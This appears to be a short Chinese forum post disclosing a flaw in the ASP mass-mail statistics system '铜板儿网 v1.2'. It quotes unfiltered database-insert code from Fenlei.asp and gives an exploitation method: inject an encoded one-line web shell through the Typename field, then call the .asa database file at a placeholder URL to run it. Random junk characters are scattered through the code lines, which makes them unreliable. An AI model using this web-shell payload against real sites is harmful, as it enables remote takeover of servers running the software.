铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
4 k; K  w) ?, X- _8 M
IF Request.QueryString("Action")="del" Then
$ i  S7 R$ n0 Q* q* g) RID=Request.QueryString("ID")
' }1 h" R: B" n! w/ F( }8 ]& pIF Countss ("tui","Fenlei",ID )<>0 then
+ t( W2 {* H) @# B'略
3 S& F8 ~  b, Z% v; w/ o; [# H/ EIF Request.QueryString("Action")="Add" Then
  T" G1 [5 Y) CTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
3 I! w* L* m' S; u. R0 w1 W8 O" oRs.Open Sql,Conn,1,3
" J" d9 Q6 ]# U$ MRs.Addnew
0 q# N- T/ \( Z1 a. C' K8 ?Rs("Typename")=Tname
: B! x9 g! j1 D$ a. e'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
% p7 m0 ^5 `5 f2 M) ~5 \& `$ [$ F& E'略
& r( d! O2 F, a( K9 S: l, o%>


* A7 K; ^& I: _- u( m3 t) l
没有过滤，直接写入数据库。
6 S, `  u; _$ J5 \( w" I
& D5 F- E( B* m1 ]7 l" u6 r8 C2 q利用方法：

, W  f, [  Q, z: L+ {6 z插入：┼攠數畣整爠煥敵瑳∨≡┩>
( |- M$ Y0 s. T! j6 z
+ f, d; O. `  I/ t0 r4 i) a
, B0 w3 u) P- ~连接： http://www.xxx.com/###tongbaner.asa
5 T  N6 N) I# A5 r0 m1 }'默认安装文件：
'install.asp
$ z6 l' v, {# Y$ `, U; t, c